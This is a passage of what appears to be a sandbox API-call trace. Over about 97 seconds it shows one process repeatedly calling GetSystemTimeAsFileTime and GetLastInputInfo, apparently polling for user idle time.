	[0338.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2e47f370, dwHighDateTime=0x1d3d6cf)) 
	[0338.121] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0339.135] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2ee2acd0, dwHighDateTime=0x1d3d6cf)) 
	[0339.135] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0340.150] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2f7d6630, dwHighDateTime=0x1d3d6cf)) 
	[0340.150] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0341.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x30181f90, dwHighDateTime=0x1d3d6cf)) 
	[0341.165] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0342.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x30b2d8f0, dwHighDateTime=0x1d3d6cf)) 
	[0342.180] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0343.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x314d9250, dwHighDateTime=0x1d3d6cf)) 
	[0343.191] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0344.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x31e84bb0, dwHighDateTime=0x1d3d6cf)) 
	[0344.205] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0345.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x32830510, dwHighDateTime=0x1d3d6cf)) 
	[0345.219] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0346.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x331dbe70, dwHighDateTime=0x1d3d6cf)) 
	[0346.230] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0347.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x33b877d0, dwHighDateTime=0x1d3d6cf)) 
	[0347.247] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0348.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x34533130, dwHighDateTime=0x1d3d6cf)) 
	[0348.262] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0349.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x34edea90, dwHighDateTime=0x1d3d6cf)) 
	[0349.277] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0350.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3588a3f0, dwHighDateTime=0x1d3d6cf)) 
	[0350.290] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0351.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x36235d50, dwHighDateTime=0x1d3d6cf)) 
	[0351.305] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0352.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x36be16b0, dwHighDateTime=0x1d3d6cf)) 
	[0352.322] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0353.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3758d010, dwHighDateTime=0x1d3d6cf)) 
	[0353.334] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0354.345] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x37f38970, dwHighDateTime=0x1d3d6cf)) 
	[0354.345] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0355.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x388e42d0, dwHighDateTime=0x1d3d6cf)) 
	[0355.361] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0356.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3928fc30, dwHighDateTime=0x1d3d6cf)) 
	[0356.373] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0357.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x39c3b590, dwHighDateTime=0x1d3d6cf)) 
	[0357.387] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0358.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3a5e6ef0, dwHighDateTime=0x1d3d6cf)) 
	[0358.403] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0359.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3af92850, dwHighDateTime=0x1d3d6cf)) 
	[0359.415] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0360.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3b93e1b0, dwHighDateTime=0x1d3d6cf)) 
	[0360.431] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0361.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3c2e9b10, dwHighDateTime=0x1d3d6cf)) 
	[0361.444] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0362.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3cc95470, dwHighDateTime=0x1d3d6cf)) 
	[0362.460] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0363.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3d640dd0, dwHighDateTime=0x1d3d6cf)) 
	[0363.474] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0364.485] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3dfec730, dwHighDateTime=0x1d3d6cf)) 
	[0364.485] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0365.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3e998090, dwHighDateTime=0x1d3d6cf)) 
	[0365.500] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0366.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3f3439f0, dwHighDateTime=0x1d3d6cf)) 
	[0366.513] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0367.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3fcef350, dwHighDateTime=0x1d3d6cf)) 
	[0367.530] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0368.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4069acb0, dwHighDateTime=0x1d3d6cf)) 
	[0368.541] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0369.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x41046610, dwHighDateTime=0x1d3d6cf)) 
	[0369.555] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0370.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x419f1f70, dwHighDateTime=0x1d3d6cf)) 
	[0370.570] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0371.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4239d8d0, dwHighDateTime=0x1d3d6cf)) 
	[0371.584] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0372.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x42d49230, dwHighDateTime=0x1d3d6cf)) 
	[0372.599] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0373.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x436f4b90, dwHighDateTime=0x1d3d6cf)) 
	[0373.611] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0374.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x440a04f0, dwHighDateTime=0x1d3d6cf)) 
	[0374.625] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0375.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x44a4be50, dwHighDateTime=0x1d3d6cf)) 
	[0375.642] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0376.654] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x453f77b0, dwHighDateTime=0x1d3d6cf)) 
	[0376.654] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0377.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x45da3110, dwHighDateTime=0x1d3d6cf)) 
	[0377.670] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0378.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4674ea70, dwHighDateTime=0x1d3d6cf)) 
	[0378.681] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0379.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x470fa3d0, dwHighDateTime=0x1d3d6cf)) 
	[0379.699] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0380.712] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x47aa5d30, dwHighDateTime=0x1d3d6cf)) 
	[0380.712] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0381.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x48451690, dwHighDateTime=0x1d3d6cf)) 
	[0381.729] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0382.740] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x48dfcff0, dwHighDateTime=0x1d3d6cf)) 
	[0382.740] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0383.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x497a8950, dwHighDateTime=0x1d3d6cf)) 
	[0383.755] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0384.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4a1542b0, dwHighDateTime=0x1d3d6cf)) 
	[0384.767] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0385.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4aaffc10, dwHighDateTime=0x1d3d6cf)) 
	[0385.778] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0386.792] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4b4ab570, dwHighDateTime=0x1d3d6cf)) 
	[0386.792] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0387.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4be56ed0, dwHighDateTime=0x1d3d6cf)) 
	[0387.810] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0388.824] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4c802830, dwHighDateTime=0x1d3d6cf)) 
	[0388.824] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0389.837] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4d1ae190, dwHighDateTime=0x1d3d6cf)) 
	[0389.837] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0390.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4db59af0, dwHighDateTime=0x1d3d6cf)) 
	[0390.857] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0391.865] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4e505450, dwHighDateTime=0x1d3d6cf)) 
	[0391.865] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0392.878] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4eeb0db0, dwHighDateTime=0x1d3d6cf)) 
	[0392.878] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0393.891] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4f85c710, dwHighDateTime=0x1d3d6cf)) 
	[0393.891] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0394.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x50208070, dwHighDateTime=0x1d3d6cf)) 
	[0394.908] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0395.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x50bb39d0, dwHighDateTime=0x1d3d6cf)) 
	[0395.923] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0396.932] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5155f330, dwHighDateTime=0x1d3d6cf)) 
	[0396.932] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0397.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x51f0ac90, dwHighDateTime=0x1d3d6cf)) 
	[0397.947] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0398.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x528b65f0, dwHighDateTime=0x1d3d6cf)) 
	[0398.955] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0399.974] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x53261f50, dwHighDateTime=0x1d3d6cf)) 
	[0399.974] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0400.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x53c0d8b0, dwHighDateTime=0x1d3d6cf)) 
	[0400.991] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0402.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x545b9210, dwHighDateTime=0x1d3d6cf)) 
	[0402.003] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0403.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x54f64b70, dwHighDateTime=0x1d3d6cf)) 
	[0403.019] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0404.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x559104d0, dwHighDateTime=0x1d3d6cf)) 
	[0404.033] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0405.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x562bbe30, dwHighDateTime=0x1d3d6cf)) 
	[0405.044] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0406.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x56c67790, dwHighDateTime=0x1d3d6cf)) 
	[0406.059] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0407.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x576130f0, dwHighDateTime=0x1d3d6cf)) 
	[0407.073] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0408.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x57fbea50, dwHighDateTime=0x1d3d6cf)) 
	[0408.091] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0409.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5896a3b0, dwHighDateTime=0x1d3d6cf)) 
	[0409.102] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0410.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x59315d10, dwHighDateTime=0x1d3d6cf)) 
	[0410.112] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0411.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x59cc1670, dwHighDateTime=0x1d3d6cf)) 
	[0411.264] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0412.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5a693130, dwHighDateTime=0x1d3d6cf)) 
	[0412.908] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0413.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5b03ea90, dwHighDateTime=0x1d3d6cf)) 
	[0413.915] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0414.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5b9ea3f0, dwHighDateTime=0x1d3d6cf)) 
	[0414.929] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0415.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5c395d50, dwHighDateTime=0x1d3d6cf)) 
	[0415.944] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0416.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5cd416b0, dwHighDateTime=0x1d3d6cf)) 
	[0416.958] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0417.971] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5d6ed010, dwHighDateTime=0x1d3d6cf)) 
	[0417.971] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0418.986] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5e098970, dwHighDateTime=0x1d3d6cf)) 
	[0418.986] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0420.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5ea6a430, dwHighDateTime=0x1d3d6cf)) 
	[0420.015] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0421.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5f415d90, dwHighDateTime=0x1d3d6cf)) 
	[0421.033] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0422.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5fdc16f0, dwHighDateTime=0x1d3d6cf)) 
	[0422.043] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0423.057] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6076d050, dwHighDateTime=0x1d3d6cf)) 
	[0423.057] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0424.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x611189b0, dwHighDateTime=0x1d3d6cf)) 
	[0424.071] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0425.085] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x61ac4310, dwHighDateTime=0x1d3d6cf)) 
	[0425.085] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0426.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6246fc70, dwHighDateTime=0x1d3d6cf)) 
	[0426.099] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0427.113] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x62e1b5d0, dwHighDateTime=0x1d3d6cf)) 
	[0427.113] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0428.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x637c6f30, dwHighDateTime=0x1d3d6cf)) 
	[0428.127] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0429.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x64172890, dwHighDateTime=0x1d3d6cf)) 
	[0429.141] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0430.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x64b1e1f0, dwHighDateTime=0x1d3d6cf)) 
	[0430.155] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0431.169] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x654c9b50, dwHighDateTime=0x1d3d6cf)) 
	[0431.169] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0432.183] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x65e754b0, dwHighDateTime=0x1d3d6cf)) 
	[0432.183] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0433.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x66820e10, dwHighDateTime=0x1d3d6cf)) 
	[0433.197] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0434.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x671cc770, dwHighDateTime=0x1d3d6cf)) 
	[0434.211] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0435.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x67b780d0, dwHighDateTime=0x1d3d6cf)) 
	[0435.225] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
